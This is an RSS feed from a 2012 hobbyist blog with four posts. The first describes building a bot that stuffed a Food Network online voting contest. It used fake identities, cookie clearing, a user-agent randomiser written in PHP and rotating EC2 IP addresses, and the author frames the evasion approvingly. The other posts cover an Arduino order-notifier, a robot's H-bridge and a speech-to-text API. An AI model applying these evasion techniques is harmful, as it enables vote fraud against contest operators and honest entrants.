<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>cranklin.com</title>
	<atom:link href="http://cranklin.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://cranklin.wordpress.com</link>
	<description>guns, computers, politics</description>
	<lastBuildDate>Thu, 23 Feb 2012 21:34:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='cranklin.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://0.gravatar.com/blavatar/6fe2607591656486296befde65e8b81c?s=96&#038;d=http%3A%2F%2Fs2.wp.com%2Fi%2Fbuttonw-com.png</url>
		<title>cranklin.com</title>
		<link>http://cranklin.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://cranklin.wordpress.com/osd.xml" title="cranklin.com" />
	<atom:link rel='hub' href='http://cranklin.wordpress.com/?pushpress=hub'/>
		<item>
		<title>The Great Food Truck Hack</title>
		<link>http://cranklin.wordpress.com/2012/02/09/the-great-food-truck-hack/</link>
		<comments>http://cranklin.wordpress.com/2012/02/09/the-great-food-truck-hack/#comments</comments>
		<pubDate>Thu, 09 Feb 2012 00:28:42 +0000</pubDate>
		<dc:creator>cranklin</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[america's favorite food truck]]></category>
		<category><![CDATA[bots]]></category>
		<category><![CDATA[contest]]></category>
		<category><![CDATA[food network]]></category>
		<category><![CDATA[food network channel]]></category>
		<category><![CDATA[food truck]]></category>
		<category><![CDATA[food truck race]]></category>
		<category><![CDATA[food trucks]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[vote bot]]></category>

		<guid isPermaLink="false">http://cranklin.wordpress.com/?p=293</guid>
		<description><![CDATA[You may or may not have seen the popular reality show &#8220;The Great Food Truck Race&#8221; on the Food Network station. For those that haven&#8217;t, it&#8217;s basically a reality show where several food trucks are in a competition against each other for a chance to win $100k. So far, there have been two seasons. What&#8217;s [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&amp;blog=18170724&amp;post=293&amp;subd=cranklin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.cranklin.com/foodtruckbot/foodtruck1.png" width="500px" /><br />
You may or may not have seen the popular reality show &#8220;The Great Food Truck Race&#8221; on the Food Network station.  For those that haven&#8217;t, it&#8217;s basically a reality show where several food trucks are in a competition against each other for a chance to win $100k.  So far, there have been two seasons.  What&#8217;s interesting is that the food network channel also ran a separate online voting contest called &#8220;America&#8217;s Favorite Food Truck&#8221;.<br /><img src="http://www.cranklin.com/foodtruckbot/foodtruck8.png" /><br />  This contest started back in July with nearly 600 trucks and asked fans to nominate and vote for their favorite local truck.  The food truck to earn the most votes would win $10k as well as the opportunity to be featured on the 3rd season of &#8220;The Great Food Truck Race&#8221;.  That&#8217;s pretty huge if you&#8217;re in the food truck business.  Being on TV would definitely give you good publicity.  </p>
<p>I&#8217;ve tried the food from several food trucks and my personal favorite was a truck called &#8220;Bap pul&#8221;.  (It means &#8220;grain of rice&#8221; in Korean)  Their &#8220;baprito&#8221; is just superb.  I noticed they were contestants in this online voting contest and they were in 10th place!  I tried to hunt down the rest of the trucks in the top 10 list but most of them weren&#8217;t local to me.<br /><img src="http://www.cranklin.com/foodtruckbot/foodtruck2.png" width="500px" /><br />  Curious, I checked out these other trucks&#8217; websites.  I was looking at the first and second place trucks.  One of them, &#8220;Chef Tai&#8217;s&#8221; had the support of Texas A&amp;M.  A quick google search led me to an online forum where A&amp;M fans were sharing &#8220;knowledge&#8221; and &#8220;tricks&#8221; to cheat the system and squeeze in more votes for Chef Tai than they were allowed.  To top that off, they were really hating on the Los Angeles food trucks.  They were hating on the city of Los Angeles, UCLA, and USC!  The nerve!  lol.  Now, I love the state of Texas, but there&#8217;s no reason to be immature and wage war against my hometown.  To top it off, I don&#8217;t think it&#8217;s fair that these people are encouraging each other to cheat on this contest.<br /><a href="http://www.cranklin.com/foodtruckbot/foodtruck10.png" target="_blank"><img src="http://www.cranklin.com/foodtruckbot/foodtruck10.png" width="100px" style="border:1px solid #0000ff;" /></a>&nbsp;&nbsp;&nbsp;<a href="http://www.cranklin.com/foodtruckbot/foodtruck11.png" target="_blank"><img src="http://www.cranklin.com/foodtruckbot/foodtruck11.png" width="100px" style="border:1px solid #0000ff;" /></a></p>
<p>Now, I&#8217;m a fan of the underdogs&#8230; especially honest underdogs like Bap pul.  Being 10th out of 600 is pretty good&#8230; but still, they could do better.  So I went online and voted for Bap pul.  The food network voting site required a few pieces of information in order to vote: first name, last name, email address, and phone number.  So I proceeded to enter my information and vote.  There were no captchas and no confirmation emails&#8230;. but once you vote, you couldn&#8217;t vote again.  Wanna take a wild guess at what I was thinking?  Yeah.  It&#8217;s time to make a bot.  Not for money nor personal gain.  It was simply to help out the little guys.  Game on.  Let the hacking begin:</p>
<p>First, I needed to generate fake email addresses.  A LOT of them.  So I wrote a quick script that took my list of Scrabble dictionary words and selected a random word. Then the script would generate a 1 to 4 digit random integer and append it to the end of the random scrabble word.  Finally, it would randomly select one of 4 major free email address domains.  How well does it work?  Here&#8217;s an excerpt of the generated emails:</p>
<pre>
<code>
hurrier559@yahoo.com
drollest535@msn.com
uropods110@hotmail.com
befouler180@gmail.com
grumpy792@msn.com
bullaces420@hotmail.com
durndest886@msn.com
niobous494@yahoo.com
burdock65@gmail.com
respells908@gmail.com
terry15@yahoo.com
</code>
</pre>
<p>Looks convincing to me.  The bot just needed to generate, register, and save the email addresses to a text file so it can feed a &#8220;revoting&#8221; bot for the next day.</p>
<p>Next, I needed to find a list of first names and last names so I could randomly pair them and register to vote with them.  I was looking for a list of first names online, but instead I came across a list of hurricane / tropical storm names.  Haha.  That will do.  For last names, I just compiled a list of last names&#8230; common last names, last names of famous basketball players, politicians, actors, etc.  Easy enough.</p>
<p>They also required a phone number.  So I just used a pool of all the area codes in the Los Angeles area and created a random number generator for the rest of the seven digits.  No problem.</p>
<p>Once you register to vote, the site remembers you so you can&#8217;t vote again.  You have to wait until the next day before you can vote again.  (you&#8217;re allowed to vote everyday).  How to get around that?  Well, using PHP&#8217;s curl&#8217;s cookie jar option and storing cookies in text format, you can then clear the file after each iteration.  It would also be wise to keep altering the user agent string which is supposed to be somewhat unique.  Many sites block users based on this string.  How do I handle this?  </p>
<pre>
<code>
$browserkey = array_rand($browsers,1);
$oskey = array_rand($operatingsystems,1);
$useragent = $browsers[$browserkey].rand(1,9).".".rand(0,50)." (".$operatingsystems[$oskey]."; ".$operatingsystems[$oskey]."; rv:".rand(1,9).".".rand(1,9).".".rand(1,9).".".rand(1,9).")";
</code>
</pre>
<p>Easy as pie.</p>
<p>Done with the bot.  Now, I was in the middle of a meeting with Ed Park and Lucas Bean while coding all of this.  I wasn&#8217;t sure if I should run the bot or not&#8230; so I set the bot to run just 200 times off of my own laptop and terminate.  200 sounds harmless right?  Click.  I got re-engaged in the meeting.  *chit *chat&#8230;. I looked down at the screen and clicked refresh.  Oh shnapps!  They jumped to 8th place!<br /><img src="http://www.cranklin.com/foodtruckbot/foodtruck3.png" /><br />  Fearing that my favorite food truck might get disqualified, I immediately halted the bot.  If 8th place was THAT easy to attain, jumping them to 1st place would be nothing.  I had no idea how many votes separated 1st place from 2nd place from 3rd place&#8230;.. and so on.  So, I made a quick modification to the bot so that it keeps voting and checking the rankings between each iteration.  I would simply enter the desired place and let it run.  It didn&#8217;t matter if I needed 2 votes or 100,000 votes.  It would give me just the right number of votes.  I named it &#8220;win baby win&#8221;.  With this bot, I could make the jump in rankings look realistic and gradual without raising suspicion.  What about IP address?  Well, thank&#8217;s to Amazon&#8217;s EC2, I&#8217;m able to start and stop as many instances as needed&#8230;. each coming with its own IP address fresh off the Amazon IP pool.  <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />   I mean&#8230;. what are they gonna do?  ban Amazon?</p>
<p>Fast forwarding to the final day of the contest&#8230;.</p>
<p>While doing this, I was able to tell which trucks were cheating and which trucks were not.  Yes, Chef Tai had bots running.  How do I know this?  Because I needed my bot to submit a ridiculous number of fresh votes daily just to catch 1st place.  C&#8217;mon.  No matter how many customers this guy has, he can&#8217;t get THAT many votes organically.  It&#8217;s a friggin food truck getting more votes than a Madison Square Garden sell-out&#8230;. and that&#8217;s daily!  On top of that, their clumsy bots were causing a near denial of service for the poor food network site.  I mean, I&#8217;m sure at least one computer science major at Texas A&amp;M could hack together a voting bot&#8230;  But it didn&#8217;t matter.  My bot was FAR superior.<br /><img src="http://www.cranklin.com/foodtruckbot/foodtruck9.png" width="500px" /><br /> <br />
On the final day I launched 4 different EC2 instances, uploaded the bot to all 4, then ran screen on each instance so each EC2 instance was running multiple instances of my bot!  I was careful not to mistakenly cause a denial of service for the voting site.  I kept the bots running til the very final moment&#8230;. and what do you know?  Bap Pul ended up in 1st place! <br /><img src="http://www.cranklin.com/foodtruckbot/foodtruck7.png" width="500px" /> </p>
<p>I checked out the A&amp;M forum again and they sounded bitter.  They mentioned an announcement on the Bap pul facebook page stating &#8220;if you tell us that you voted for us, we&#8217;ll give you a free drink with your food today&#8221;.  They started crying foul because apparently, according to the &#8220;rules of the contest&#8221;, that was not allowed.  Little did I know they actually contacted food network about that tiny Bap pul announcement and complained.  Before the winner was announced, I heard Food network actually contacted Bap pul and told them they were disqualified because they were in first place and they &#8220;incentivized the vote&#8221;.  How petty.  So in the end, Chef Tai won by default.  </p>
<p>So what&#8217;s the moral of the story?  There&#8217;s a few:</p>
<p>1) Food network needs to fire <a href="http://www.teamdigital.com">Team Digital</a> and hire more competent developers to build something as important as an online voting contest&#8230; especially if money is involved.</p>
<p>2) Food network should use captchas.  Not just any captchas, but <a href="http://cranklin.wordpress.com/2011/09/05/i-think-i-figured-out-how-to-defeat-bots/">my captchas</a>.</p>
<p>3) College educated software engineers are just inferior.</p>
<p>4) Bots still rule the world&#8230; especially food network&#8217;s world.</p>
<p>5) The real winners:  Hurricanes.  Hurricanes cast the overwhelming majority of the votes.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cranklin.wordpress.com/293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cranklin.wordpress.com/293/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cranklin.wordpress.com/293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cranklin.wordpress.com/293/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cranklin.wordpress.com/293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cranklin.wordpress.com/293/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cranklin.wordpress.com/293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cranklin.wordpress.com/293/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cranklin.wordpress.com/293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cranklin.wordpress.com/293/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cranklin.wordpress.com/293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cranklin.wordpress.com/293/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cranklin.wordpress.com/293/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cranklin.wordpress.com/293/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&amp;blog=18170724&amp;post=293&amp;subd=cranklin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cranklin.wordpress.com/2012/02/09/the-great-food-truck-hack/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1f4f7ef7c3d1b74247b015dfef15292?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">cranklin</media:title>
		</media:content>

		<media:content url="http://www.cranklin.com/foodtruckbot/foodtruck1.png" medium="image" />

		<media:content url="http://www.cranklin.com/foodtruckbot/foodtruck8.png" medium="image" />

		<media:content url="http://www.cranklin.com/foodtruckbot/foodtruck2.png" medium="image" />

		<media:content url="http://www.cranklin.com/foodtruckbot/foodtruck10.png" medium="image" />

		<media:content url="http://www.cranklin.com/foodtruckbot/foodtruck11.png" medium="image" />

		<media:content url="http://www.cranklin.com/foodtruckbot/foodtruck3.png" medium="image" />

		<media:content url="http://www.cranklin.com/foodtruckbot/foodtruck9.png" medium="image" />

		<media:content url="http://www.cranklin.com/foodtruckbot/foodtruck7.png" medium="image" />
	</item>
		<item>
		<title>My Insteegram Notification Gadget</title>
		<link>http://cranklin.wordpress.com/2012/02/02/my-insteegram-notification-gadget/</link>
		<comments>http://cranklin.wordpress.com/2012/02/02/my-insteegram-notification-gadget/#comments</comments>
		<pubDate>Thu, 02 Feb 2012 06:44:43 +0000</pubDate>
		<dc:creator>cranklin</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[arduino]]></category>
		<category><![CDATA[electronics]]></category>
		<category><![CDATA[ethernet shield]]></category>
		<category><![CDATA[gadgets]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[notification device]]></category>

		<guid isPermaLink="false">http://cranklin.wordpress.com/?p=404</guid>
		<description><![CDATA[In the movie &#8220;Middle Men&#8221;, two guys decide to start an online porn subscription service (which is allegedly how online credit card transactions started). They built a gadget that either whistles, chimes, rings (along with other noises) every time there is a new incoming order. I don&#8217;t do smut, and I never will&#8230; but that [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&amp;blog=18170724&amp;post=404&amp;subd=cranklin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>In the movie &#8220;Middle Men&#8221;, two guys decide to start an online porn subscription service (which is allegedly how online credit card transactions started).  They built a gadget that either whistles, chimes, rings (along with other noises) every time there is a new incoming order.</p>
<p>I don&#8217;t do smut, and I never will&#8230; but that movie inspired me to create my own similar gadget for <a href="http://www.insteegram.com">Insteegram.com</a>.</p>
<p>With the recent <a href="http://www.likeacoupon.com">Likeacoupon</a> deal, <a href="http://www.insteegram.com">Insteegram</a> has been getting a lot more sales and visitors.  So, I decided to rig up this gadget using:<br />
1 arduino uno<br />
1 breadboard<br />
1 arduino ethernet shield<br />
1 yellow LED<br />
1 330ohm resistor<br />
1 piezo transducer<br />
and some hook-up wires.</p>
<p>It works like a charm:</p>
<p><img src="http://www.cranklin.com/minggadget.jpg" width="500px" /></p>
<p>Everytime there&#8217;s a new user, it plays a lower octave C note.<br />
Everytime there&#8217;s a new incoming order, it plays a upper octave C note.<br />
Whenever there are unfulfilled orders, the yellow LED light stays on.</p>
<p>This gadget is totally unnecessary and a little annoying, but it&#8217;s definitely COOL!</p>
<p>Almost forgot&#8230;. here&#8217;s the crucial source code that makes this device run:</p>
<pre>
<code>
#include &lt;SPI.h&gt;
#include &lt;Ethernet.h&gt;

byte mac[] = {  0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };
IPAddress server(75,101,165,24); // Insteegram

String readstring;
String userstring;
String orderstring;

int ledPin = 8;
int speakerPin = 9;
int orders,users,temporders,tempusers = 0;

EthernetClient client;

void setup() {
  pinMode(speakerPin,OUTPUT);
  pinMode(ledPin,OUTPUT);
  //Serial.begin(9600);
  if (Ethernet.begin(mac) == 0) {
    //Serial.println("Failed to configure Ethernet using DHCP");
    for(;;)
      ;
  }
  delay(1000);
  //Serial.println("connecting...");

}

void connectToServerA()
{
  if (client.connect(server, 80)) {
    //Serial.println("connected to orders");
    client.println("GET /****REMOVED**** HTTP/1.0");
    client.println();
  }
  else {
    //Serial.println("connection failed");
  }

  while (client.connected()){
  while (client.available()) {
    char c = client.read();
    //Serial.print(c);
    if(readstring.indexOf("orders:")&gt;0){
      if(c!='\n'){
        //Serial.print('!');
        orderstring += c;
      }
    }
    else{
      readstring += c;
    }
  }

  if (!client.connected()) {
    Serial.println();
    Serial.println("disconnecting.");

    client.stop();
    int multiplier = 1;
    for(int i=orderstring.length()-1;i&gt;=0;i--){
      if(i &lt; orderstring.length()-1){
        multiplier *= 10;
      }
      temporders += (orderstring[i]-'0')*multiplier;
    }
    //Serial.print(orderstring);
    //Serial.println(temporders);

    if(temporders&gt;orders){
      // alert me;
      playTone(1915);
    }
    orders = temporders;
    temporders = 0;
    readstring = "";
    orderstring = "";
  }
  delay(1000);
  }
}

void connectToServerB()
{
  tempusers = 0;
  readstring = "";
  if (client.connect(server, 80)) {
    //Serial.println("connected to users");
    client.println("GET /****REMOVED**** HTTP/1.0");
    client.println();

  }
  else {
    // kf you didn't get a connection to the server:
    //Serial.println("connection failed");
  }

  while (client.connected()){
  // if there are incoming bytes available
  // from the server, read them and print them:
  while (client.available()) {
    char c = client.read();
    //Serial.print(c);
    if(readstring.indexOf("users:")&gt;0){
      if(c!='\n'){
        //Serial.print('!');
        userstring += c;
      }
    }
    else{
      readstring += c;
    }
  }
  // if the server's disconnected, stop the client:

  if (!client.connected()) {
    //Serial.println();
    //Serial.println("disconnecting.");

    client.stop();
    int multiplier = 1;
    for(int i=userstring.length()-1;i&gt;=0;i--){
      if(i &lt; userstring.length()-1){
        multiplier *= 10;
      }
      tempusers += (userstring[i]-'0')*multiplier;
    }
    //Serial.print(orderstring);
    //Serial.println(tempusers);

    if(tempusers&gt;users){
      // alert me;
      playTone(956);
    }
    users = tempusers;
    tempusers = 0;
    readstring = "";
    userstring = "";
  }
  delay(1000);
  }
}

void loop()
{
  connectToServerA();
  connectToServerB();
  if(orders&gt;0){
    digitalWrite(ledPin, HIGH);
  }
  else{
    digitalWrite(ledPin, LOW);
  }
  delay(60000);
}

void playTone(int note)
{
  for (int i=0; i&lt;100; i++)
  {
    digitalWrite(speakerPin, HIGH);
    delayMicroseconds(note);
    digitalWrite(speakerPin, LOW);
    delayMicroseconds(note);
  }
}

</code>
</pre>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cranklin.wordpress.com/404/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cranklin.wordpress.com/404/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cranklin.wordpress.com/404/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cranklin.wordpress.com/404/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cranklin.wordpress.com/404/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cranklin.wordpress.com/404/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cranklin.wordpress.com/404/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cranklin.wordpress.com/404/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cranklin.wordpress.com/404/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cranklin.wordpress.com/404/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cranklin.wordpress.com/404/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cranklin.wordpress.com/404/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cranklin.wordpress.com/404/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cranklin.wordpress.com/404/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&amp;blog=18170724&amp;post=404&amp;subd=cranklin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cranklin.wordpress.com/2012/02/02/my-insteegram-notification-gadget/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1f4f7ef7c3d1b74247b015dfef15292?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">cranklin</media:title>
		</media:content>

		<media:content url="http://www.cranklin.com/minggadget.jpg" medium="image" />
	</item>
		<item>
		<title>My Robot&#8217;s Wheels</title>
		<link>http://cranklin.wordpress.com/2012/01/24/my-robots-wheels/</link>
		<comments>http://cranklin.wordpress.com/2012/01/24/my-robots-wheels/#comments</comments>
		<pubDate>Tue, 24 Jan 2012 02:13:29 +0000</pubDate>
		<dc:creator>cranklin</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[arduino]]></category>
		<category><![CDATA[dc motors]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[hbridge]]></category>
		<category><![CDATA[robot]]></category>
		<category><![CDATA[wheels]]></category>

		<guid isPermaLink="false">http://cranklin.wordpress.com/?p=391</guid>
		<description><![CDATA[My robot is going to have wheels, not legs. To have a 4-wheeled robot, it will need: 4 wheels 2 motors 4 NPN transistors 4 PNP transistors sufficient power source Why do I need 8 different transistors? Well, anytime you want to make your DC motor spin backwards, you need to reverse the + and [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&amp;blog=18170724&amp;post=391&amp;subd=cranklin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>My robot is going to have wheels, not legs.  To have a 4-wheeled robot, it will need:<br />
4 wheels<br />
2 motors<br />
4 NPN transistors<br />
4 PNP transistors<br />
sufficient power source</p>
<p>Why do I need 8 different transistors?  Well, anytime you want to make your DC motor spin backwards, you need to reverse the + and -.  Now, in order to do that, you need to use an H-bridge.  Here is my VERY basic H-bridge schematic:<br />
<img src="http://www.cranklin.com/hbridge/hbridgeschematics.jpg" /><br />
<br />
It&#8217;s a very clever design.  The top two transistors would need to be PNP (because they&#8217;re between the motor and the power source) and the bottom two transistors would need to be NPN (because they&#8217;re between the motor and ground). But hmmm&#8230; my robot is going to be very simple and primitive.  This might cost me some time and money.  I want to make this as cheap as possible.<br />
Well, lucky for me, I was in the downtown toy district and I picked up this remote control truck for a measly $10!</p>
<p><img src="http://www.cranklin.com/hbridge/truck.jpg" /><br />That&#8217;s right, $10.  If I&#8217;m lucky, I may be able to strip this thing for some usable parts.  So I took this new toy home and I took it apart.  Lucky for me, it comes with 4 very usable wheels, 2 motors, a power source, and 2 H-bridges!  Now, I didn&#8217;t expect the front wheel steering to be powered by a DC motor just like the rear wheels.  I was expecting a servo motor.  </p>
<p><img src="http://www.cranklin.com/hbridge/truck2.jpg" /></p>
<p>This is great!  You can see the 8 transistors to power the two motors.  </p>
<p><img src="http://www.cranklin.com/hbridge/hbridge.jpg" /></p>
<p>Now, it&#8217;s extremely easy to fry one of these things.  At first, I was trying to stare at the back of the circuit board to see what was connected to what, so I know how to utilize this H-bridge. </p>
<p><img src="http://www.cranklin.com/hbridge/hbridge2.jpg" /></p>
<p>It not only gave me a headache, there was print on top of the circuitry so it made it really difficult to figure that out.  I could figure out where the collector was, but which was the emitter and which was the base?  So before I get careless and start soldering wires to the wrong connectors, I needed to do a little probing with my handy little multimeter.</p>
<p><img src="http://www.cranklin.com/hbridge/multimeter.jpg" width="500px" /></p>
<p>  After some probing and testing different connections, I figured it out.  </p>
<p><img src="http://www.cranklin.com/hbridge/hbridgechart.jpg" /></p>
<p>I took some notes on the whiteboard and now, I know how to put this bad boy into some good use!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cranklin.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cranklin.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cranklin.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cranklin.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cranklin.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cranklin.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cranklin.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cranklin.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cranklin.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cranklin.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cranklin.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cranklin.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cranklin.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cranklin.wordpress.com/391/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&amp;blog=18170724&amp;post=391&amp;subd=cranklin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cranklin.wordpress.com/2012/01/24/my-robots-wheels/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1f4f7ef7c3d1b74247b015dfef15292?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">cranklin</media:title>
		</media:content>

		<media:content url="http://www.cranklin.com/hbridge/hbridgeschematics.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/hbridge/truck.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/hbridge/truck2.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/hbridge/hbridge.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/hbridge/hbridge2.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/hbridge/multimeter.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/hbridge/hbridgechart.jpg" medium="image" />
	</item>
		<item>
		<title>Building My Own Siri / Jarvis</title>
		<link>http://cranklin.wordpress.com/2012/01/13/building-my-own-siri-jarvis/</link>
		<comments>http://cranklin.wordpress.com/2012/01/13/building-my-own-siri-jarvis/#comments</comments>
		<pubDate>Fri, 13 Jan 2012 21:39:39 +0000</pubDate>
		<dc:creator>cranklin</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[google speech to text]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[jarvis]]></category>
		<category><![CDATA[siri]]></category>
		<category><![CDATA[wolfram alpha]]></category>

		<guid isPermaLink="false">http://cranklin.wordpress.com/?p=370</guid>
		<description><![CDATA[Most of the magic behind Siri happens remotely. I want to create my OWN version of Siri&#8230;. except I don&#8217;t care for having it on my phone. I want my entire house to be talking to me&#8230; more like Jarvis (from Ironman). I believe I have access to all the right resources to create this [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&amp;blog=18170724&amp;post=370&amp;subd=cranklin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.cranklin.com/jarvis/siri.jpg" width="500px" /><br />
Most of the magic behind Siri happens remotely.</p>
<p>I want to create my OWN version of Siri&#8230;. except I don&#8217;t care for having it on my phone.  I want my entire house to be talking to me&#8230; more like Jarvis (from Ironman).<img src="http://www.cranklin.com/jarvis/jarvis.png" width="500px" />  </p>
<p>I believe I have access to all the right resources to create this AI.<br />
It breaks down into three major parts:<br />
1) convert speech to text<br />2) query database populated with q&amp;a<br />3) convert text to speech</p>
<h2>Speech to Text</h2>
<p>Most speech to text engines suck.  Siri&#8217;s works exceptionally well because the engine isn&#8217;t on your phone&#8230; it&#8217;s remote.  I supposed we can hack Siri by running a MITM attack on an iphone and faking the SSL cert and intercepting the apple ID&#8230;. OR we can do something much simpler.  Google&#8217;s Chrome 11 browser includes a voice input function (which isn&#8217;t yet part of the HTML5 standard) and can convert your speech into text.  <a href="http://mikepultz.com/2011/03/accessing-google-speech-api-chrome-11/" target="_blank">This guy</a> discovered that it was happening remotely through an undocumented API call to google.  All we have to do is access this same API and we got ourselves a free Speech-to-Text engine!</p>
<p>In case you don&#8217;t understand Perl, this is how you use the API:</p>
<p><b>POST</b> to: <code>https://www.google.com/speech-api/v1/recognize?xjerr=1&amp;client=chromium&amp;lang=en-US</code></p>
<p><b>POST params</b>: <code>Content</code> (which should include the contents of a .flac encoding of your voice recorded in mono 16000hz or 8000hz)<br />
<code>Content_Type</code> (which should read &#8220;audio/x-flac; rate=16000&#8243; or 8000 depending on your voice recording.  This should also be mirrored in the Content-Type section of your header.)</p>
<p><b>Response</b>: json text</p>
<p>I used ffmpeg to convert my audio into the desired format:<br />
<code>ffmpeg -i Memo.m4a -vn -ac 1 -ar 16000 -acodec flac test.flac</code></p>
